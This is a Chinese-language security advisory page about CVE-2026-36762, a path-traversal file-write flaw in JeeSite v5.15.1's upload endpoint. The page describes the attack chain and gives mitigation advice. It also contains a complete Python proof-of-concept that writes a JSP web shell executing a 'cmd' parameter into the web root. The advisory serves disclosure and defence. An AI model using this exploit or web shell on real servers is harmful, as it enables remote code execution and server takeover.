IPBUF安全漏洞报告
English
CVE-2026-36762 CVSS 8.8 高危

CVE-2026-36762 JeeSite路径遍历致任意文件写入漏洞

披露日期: 2026-04-30

漏洞信息

漏洞编号
CVE-2026-36762
漏洞类型
路径遍历
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
JeeSite

相关标签

JeeSite路径遍历任意文件写入CVE-2026-36762文件上传漏洞

漏洞概述

JeeSite v5.15.1版本存在严重的安全漏洞。该漏洞源于/a/file/upload接口中的fileEntityId参数未正确过滤路径遍历字符。拥有文件上传权限的经过身份验证的攻击者可利用此漏洞,绕过限制将具有白名单后缀的文件写入服务器任意位置,可能导致远程代码执行或服务器被完全控制。

技术细节

该漏洞主要发生在JeeSite v5.15.1版本的文件上传处理逻辑中。在处理上传请求时,系统通过fileEntityId参数来指定文件的存储路径。由于缺乏充分的输入验证和路径规范化处理,攻击者可以在该参数中注入“../”等路径遍历序列。尽管系统对文件后缀进行了白名单校验,限制了上传文件的类型,但攻击者可以通过构造特定的恶意请求,利用路径遍历将带有合法后缀(如.jpg, .jsp)的文件写入服务器文件系统的任意位置。由于攻击者需要具备文件上传权限(低权限用户),该漏洞属于权限提升后的横向移动攻击。结合特定的文件解析漏洞或配置不当,攻击者可进一步实现远程代码执行(RCE),从而完全控制服务器。

攻击链分析

STEP 1
1. 获取凭证
攻击者注册或通过其他方式获取JeeSite系统的低权限用户账号,该账号需拥有文件上传权限。
STEP 2
2. 构造恶意请求
攻击者分析/a/file/upload接口,在fileEntityId参数中注入路径遍历字符(如../),并准备带有合法后缀的恶意文件(如JSP Webshell)。
STEP 3
3. 发送攻击载荷
攻击者向服务器发送特制的POST请求,利用漏洞将恶意文件写入服务器的敏感目录(如Web根目录)。
STEP 4
4. 执行恶意代码
攻击者通过浏览器访问上传的恶意文件路径,触发服务器端代码执行,从而获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def upload_malicious_file(target_url, session_cookie): """ PoC for CVE-2026-36762: Path Traversal via fileEntityId in JeeSite. Note: Requires authentication and file upload permissions. """ headers = { "Cookie": session_cookie } # Target endpoint upload_url = f"{target_url}/a/file/upload" # Path traversal payload in the fileEntityId parameter # Attempting to write a JSP shell to the web root traversal_payload = "../../webapps/ROOT/shell.jsp" # File content (simple JSP web shell) file_content = "<%@ page import='java.io.*' %><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>" files = { # The file extension must be whitelisted (e.g., .jsp, .jpg) 'file': ('shell.jsp', file_content, 'application/octet-stream') } data = { 'fileEntityId': traversal_payload } try: response = requests.post(upload_url, headers=headers, files=files, data=data) if response.status_code == 200: print("[+] Request sent successfully. Check if the file was written.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") # Usage: # target = "http://localhost:8080" # cookie = "JSESSIONID=..." # upload_malicious_file(target, cookie)

影响范围

JeeSite v5.15.1

防御指南

临时缓解措施
建议在WAF侧添加针对fileEntityId参数的路径遍历特征过滤规则(如拦截../, ..\等)。同时,检查并收紧服务器文件系统权限,确保Web应用进程对非上传目录无写入权限,并对上传的文件进行二次重命名处理,避免直接使用用户可控的文件名或路径。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表